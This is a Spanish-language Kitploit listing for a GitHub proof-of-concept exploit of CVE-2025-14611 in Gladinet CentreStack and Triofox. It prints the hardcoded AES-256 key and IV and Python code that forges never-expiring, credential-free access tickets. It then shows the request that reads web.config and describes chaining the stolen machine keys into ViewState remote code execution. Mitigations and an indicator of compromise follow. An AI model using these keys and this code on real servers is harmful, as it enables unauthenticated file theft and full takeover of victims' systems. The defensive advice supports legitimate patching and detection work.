Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit — CVE-2025-14611 CentreStack y Triofox Poc/Exploit completo | Kitploit
Herramientas/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
Análisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebCriptografíaPruebas de PenetraciónAutenticaciónRed TeamingDesarrollo de Payloads
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack y Triofox Poc/Exploit completo

Ver Repositorio
2hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-14611 CentreStack y Triofox PoC/Exploit completo

Resumen

Esta vulnerabilidad surge de claves criptográficas codificadas en los productos Gladinet CentreStack y Triofox, lo que permite la lectura arbitraria de archivos mediante tickets de acceso falsificados. La implementación de cifrado AES-256 utiliza claves estáticas e inmutables integradas directamente en el binario de la aplicación (GladCtrl64.dll), lo que permite a cualquier atacante que extraiga estas claves:

  1. Descifrar tickets de acceso legítimos para comprender rutas de archivos internas y la configuración del sistema
  2. Forjar tickets de acceso maliciosos con marcas de tiempo que nunca expiran para leer archivos arbitrarios en el servidor
  3. Evadir la autenticación dejando vacíos los campos de nombre de usuario y contraseña, lo que hace que la aplicación recurra a la identidad del grupo de aplicaciones de IIS
  4. Encadenar esta vulnerabilidad con CVE-2025-30406 (deserialización de ViewState) para lograr la ejecución remota de código

La vulnerabilidad afecta a todas las versiones de Gladinet CentreStack y Triofox anteriores a 16.12.10420.56791 y ha sido explotada activamente en la naturaleza desde al menos noviembre de 2025.

Análisis

1. Generación y almacenamiento de claves

La vulnerabilidad comienza con la forma en que se generan y almacenan las claves criptográficas en GladCtrl64.dll. Las funciones y son responsables de proporcionar la clave de cifrado AES y el vector de inicialización (IV).

GenerateSecKey
GenerateSecKey1

Flujo de generación de claves:

Cuando se inicia la aplicación del servidor CentreStack, la clase SysKeyMgr llama a AccessKeyMgr64.GetSysEncKey, que invoca GenerateSecKey ubicada en GladCtrl64.dll. Esta función:

root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

La función convierte cadenas codificadas en UTF-16LE a UTF-8 mediante la API de Windows WideCharToMultiByte con la página de códigos 0xfde9 (UTF-8). Los datos de origen se almacenan en dos ubicaciones de memoria estáticas:

  • Origen de la clave (0x18000c000): Una cadena UTF-16LE de 100 bytes que contiene texto chino
  • Origen del IV (0x18000c2c0): Una cadena UTF-16LE de 100 bytes que comienza con "moDriv" seguida de texto japonés

Hallazgo crítico: Estas cadenas nunca cambian en ninguna instalación del software. El nombre de la función GenerateSecKey es engañoso: no genera claves dinámicamente, sino que simplemente devuelve cadenas estáticas preexistentes del binario.

2. Las claves codificadas

Mediante análisis de ingeniería inversa, las claves codificadas se extrajeron de la sección .data de GladCtrl64.dll:

Memoria en 0x18000c000 (Origen de la clave):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

Al decodificarla de UTF-16LE a UTF-8, se obtiene texto chino:

root@kitploit:~
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

Memoria en 0x18000c2c0 (Origen del IV):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

Al decodificarla, se obtiene:

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

Claves criptográficas finales:

La aplicación utiliza los primeros 32 bytes del origen de la clave codificado en UTF-8 como clave AES-256, y los primeros 16 bytes del origen del IV codificado en UTF-8 como vector de inicialización:

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. El manipulador de descarga de archivos vulnerable

La vulnerabilidad se explota a través del manipulador HTTP filesvr.dn, que está asignado a la clase GladinetStorage.FileDownloadHandler. Este manipulador procesa tickets de acceso cifrados pasados a través del parámetro de consulta t.

Estructura del ticket de acceso:

Los tickets de acceso son campos separados por saltos de línea y cifrados con AES-256-CBC:

root@kitploit:~
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)

El proceso de descifrado:

  1. El manipulador recibe el parámetro t y realiza una sanitización personalizada, intercambiando caracteres seguros para URL (: → +, | → /)
  2. El valor se decodifica en Base64 para obtener el texto cifrado
  3. Se llama a AccessTicket.Decrypt, que recupera la SysKey estática (primeros 32 bytes) y SysKey1 (primeros 16 bytes)
  4. Se configura un cifrador AES-256-CBC con estas claves
  5. El ticket se descifra y se analiza

Omisión de la validación de marca de tiempo:

El manipulador compara la marca de tiempo del ticket con la hora actual del servidor. Si el ticket tiene más de 4 horas, se rechaza. Sin embargo, los atacantes pueden establecer la marca de tiempo en el año 9999, creando un ticket que nunca expira:

root@kitploit:~
9999-11-27 14:52:04.009217

Esto crea una puerta trasera persistente que puede reutilizarse indefinidamente.

4. Omisión de autenticación mediante credenciales vacías

Después del descifrado, el manipulador extrae los campos de Nombre de usuario y Contraseña e intenta inicializar un contexto de suplantación. Vulnerabilidad crítica: cuando ambos campos son cadenas vacías, la lógica de suplantación falla y recurre a la identidad del grupo de aplicaciones de IIS.

Esto permite la lectura arbitraria de archivos sin autenticación, ya que la aplicación se ejecuta con privilegios elevados pero no requiere credenciales válidas.

Ejemplo de ticket malicioso:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

5. Explotación en la naturaleza

Se ha observado explotación activa desde noviembre de 2025. Los atacantes siguen este patrón:

Paso 1: Forjar el ticket de acceso

Usando las claves extraídas, los atacantes crean tickets cifrados dirigidos a web.config:

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

Paso 2: Enviar la solicitud maliciosa

El ticket falsificado se envía al endpoint vulnerable:

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

Paso 3: Extraer las claves de máquina

La respuesta contiene el archivo web.config con las claves de máquina:

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

Paso 4: Encadenar con CVE-2025-30406

Estas claves de máquina permiten ataques de deserialización de ViewState, lo que conduce a la ejecución remota de código. Los atacantes elaboran payloads maliciosos de ViewState firmados con las claves extraídas, logrando el compromiso total del sistema.

6. Ejemplo de ataque real

De los intentos de explotación observados (diciembre de 2025):

Ticket cifrado del atacante:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

Contenido descifrado:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

Origen del ataque: Dirección IP 147.124.216[.]205
Organizaciones objetivo: 9 víctimas confirmadas en los sectores de salud, tecnología y servicios profesionales
Cronología del ataque: Intentos iniciales de explotación en noviembre de 2025, con un aumento en diciembre de 2025

Conclusión

CVE-2025-14611 representa un fallo crítico en la gestión de claves criptográficas. Al incrustar claves estáticas e inmutables directamente en el binario de la aplicación, Gladinet creó una llave maestra universal que funciona en todas las instalaciones. Esta vulnerabilidad demuestra varias fallas de seguridad graves:

  1. Criptografía codificada: El uso de claves estáticas elimina cualquier beneficio de seguridad del cifrado
  2. Omisión de autenticación: El manejo de credenciales vacías permite el acceso sin autenticación
  3. Tickets que nunca expiran: Las marcas de tiempo en un futuro lejano crean puertas traseras persistentes
  4. Encadenamiento de exploits: Combinada con CVE-2025-30406, permite el compromiso total del sistema

Recomendaciones de mitigación:

  • Inmediato: Actualizar a CentreStack/Triofox versión 16.12.10420.56791 o posterior
  • Crítico: Rotar las claves de máquina en web.config después de aplicar el parche
  • Defensa: Monitorear los registros de IIS para detectar accesos a /storage/filesvr.dn con parámetros t sospechosos
  • Detección: Buscar en los registros el indicador: vghpI7EToZUDIZDdprSubL3mTZ2 (representación cifrada de la ruta de web.config)
  • Red: Bloquear el acceso entrante a CentreStack desde redes no confiables

Indicador de compromiso:

Cualquier solicitud HTTP que contenga:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

Esta subcadena identifica de forma única los intentos de explotar esta vulnerabilidad para la recuperación de web.config.

Descargar herramienta